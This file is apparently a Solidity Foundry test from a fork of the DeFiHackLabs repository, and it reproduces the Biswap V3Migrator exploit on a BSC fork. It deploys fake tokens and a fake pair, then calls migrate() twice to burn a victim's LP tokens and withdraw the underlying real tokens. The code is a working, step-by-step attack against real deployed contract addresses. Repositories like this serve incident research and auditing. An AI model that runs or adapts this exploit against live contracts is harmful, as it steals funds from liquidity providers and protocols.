forked from SunWeb3Sec/DeFiHackLabs
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Biswap_exp.sol
237 lines (198 loc) · 8.46 KB
/
Biswap_exp.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;
import "forge-std/Test.sol";
import "./interface.sol";
// @KeyInfo - Total Lost : ~72K
// Attacker - https://bscscan.com/address/0xa1e31b29f94296fc85fac8739511360f279b1976
// Attack contract - https://bscscan.com/address/0x1d448e9661c5abfc732ea81330c6439b0aa449b5
// Attack Tx : https://bscscan.com/tx/0xebe5248820241d8de80bcf66f4f1bfaaca62962824efaaa662db84bd27f5e47e, https://bscscan.com/address/0xa1e31b29f94296fc85fac8739511360f279b1976
// @Analysis - https://twitter.com/MetaTrustAlert/status/1674814217122349056?s=20
interface V3Migrator {
struct MigrateParams {
address pair; // the Uniswap v2-compatible pair
uint256 liquidityToMigrate; // expected to be balanceOf(msg.sender)
address token0;
address token1;
uint16 fee;
int24 tickLower;
int24 tickUpper;
uint128 amount0Min; // must be discounted by percentageToMigrate
uint128 amount1Min; // must be discounted by percentageToMigrate
address recipient;
uint256 deadline;
bool refundAsETH;
}
function migrate(MigrateParams calldata params) external returns (uint256 refund0, uint256 refund1);
}
interface IBiswapFactoryV3 {
function newPool(address tokenX, address tokenY, uint16 fee, int24 currentPoint) external returns (address);
}
contract SimpleERC20 {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
function balanceOf(address account) public view virtual returns (uint256) {
return _balances[account];
}
function transfer(address to, uint256 amount) public virtual returns (bool) {
address owner = msg.sender;
_transfer(owner, to, amount);
return true;
}
function allowance(address owner, address spender) public view virtual returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual returns (bool) {
address owner = msg.sender;
_approve(owner, spender, amount);
return true;
}
function transferFrom(address from, address to, uint256 amount) public virtual returns (bool) {
address spender = msg.sender;
_spendAllowance(from, spender, amount);
_transfer(from, to, amount);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
address owner = msg.sender;
_approve(owner, spender, allowance(owner, spender) + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
address owner = msg.sender;
uint256 currentAllowance = allowance(owner, spender);
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(owner, spender, currentAllowance - subtractedValue);
}
return true;
}
function _transfer(address from, address to, uint256 amount) internal virtual {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
uint256 fromBalance = _balances[from];
require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[from] = fromBalance - amount;
// Overflow not possible: the sum of all balances is capped by totalSupply, and the sum is preserved by
// decrementing then incrementing.
_balances[to] += amount;
}
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply += amount;
unchecked {
// Overflow not possible: balance + amount is at most totalSupply + amount, which is checked above.
_balances[account] += amount;
}
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
}
function _spendAllowance(address owner, address spender, uint256 amount) internal virtual {
uint256 currentAllowance = allowance(owner, spender);
if (currentAllowance != type(uint256).max) {
require(currentAllowance >= amount, "ERC20: insufficient allowance");
unchecked {
_approve(owner, spender, currentAllowance - amount);
}
}
}
}
contract FakeToken is SimpleERC20 {
uint256 token0Amount;
uint256 token1Amount;
constructor() SimpleERC20("fake", "fake") {
_mint(msg.sender, 10_000e18 * 1e18);
}
}
contract FakePair is SimpleERC20 {
uint256 token0Amount;
uint256 token1Amount;
constructor() SimpleERC20("fakePair", "fakePair") {
_mint(msg.sender, 10_000e18 * 1e18);
}
function update(uint256 t0, uint256 t1) external {
token0Amount = t0;
token1Amount = t1;
}
function burn(address to) external returns (uint256, uint256) {
return (token0Amount, token1Amount);
}
}
contract ContractTest is Test {
function setUp() public {
// fork bsc
uint256 forkId = vm.createFork("bsc", 29_554_461);
vm.selectFork(forkId);
}
function testExploit() public {
V3Migrator migrator = V3Migrator(0x839b0AFD0a0528ea184448E890cbaAFFD99C1dbf);
IUniswapV2Pair pairToMigrate = IUniswapV2Pair(0x63b30de1A998e9E64FD58A21F68D323B9BcD8F85);
address victimAddress = 0x2978D920a1655abAA315BAd5Baf48A2d89792618;
IBiswapFactoryV3 biswapV3 = IBiswapFactoryV3(0x7C3d53606f9c03e7f54abdDFFc3868E1C5466863);
//0. Preparations: create pool for fake tokens and transfer fake tokens to the migrator
FakeToken fakeToken0 = new FakeToken();
FakeToken fakeToken1 = new FakeToken();
FakePair fakePair = new FakePair();
biswapV3.newPool(address(fakeToken1), address(fakeToken0), 150, 1);
fakeToken0.transfer(address(migrator), 1e9 * 1e18);
fakeToken1.transfer(address(migrator), 1e9 * 1e18);
uint256 liquidityValue = pairToMigrate.balanceOf(victimAddress);
emit log_named_uint("liquidity to migrate", liquidityValue);
IERC20 token0 = IERC20(pairToMigrate.token0());
IERC20 token1 = IERC20(pairToMigrate.token1());
assert(token0.balanceOf(address(this)) == 0);
//1. Burn victim's LP token and add liquidity with fake tokens
V3Migrator.MigrateParams memory params = V3Migrator.MigrateParams(
address(pairToMigrate),
liquidityValue,
address(fakeToken1),
address(fakeToken0),
150,
10_000,
20_000,
0,
0,
victimAddress,
block.timestamp + 1 minutes,
false
);
migrator.migrate(params);
uint256 token0Balance = token0.balanceOf(address(migrator));
uint256 token1Balance = token1.balanceOf(address(migrator));
fakePair.update(token0Balance, token1Balance);
emit log_named_decimal_uint("this token0 before", token0.balanceOf(address(this)), 18);
emit log_named_decimal_uint("this token1 before", token1.balanceOf(address(this)), 18);
//2. Steal tokens
fakePair.transfer(address(this), 1e9 * 1e18);
fakePair.approve(address(migrator), 1e9 * 1e18);
V3Migrator.MigrateParams memory params2 = V3Migrator.MigrateParams(
address(fakePair),
liquidityValue,
address(token0),
address(token1),
800,
10_000,
20_000,
0,
0,
address(this),
block.timestamp + 1 minutes,
false
);
migrator.migrate(params2);
assert(token0.balanceOf(address(this)) > 1e18);
emit log_named_decimal_uint("this token0 after", token0.balanceOf(address(this)), 18);
emit log_named_decimal_uint("this token1 after", token1.balanceOf(address(this)), 18);
}
}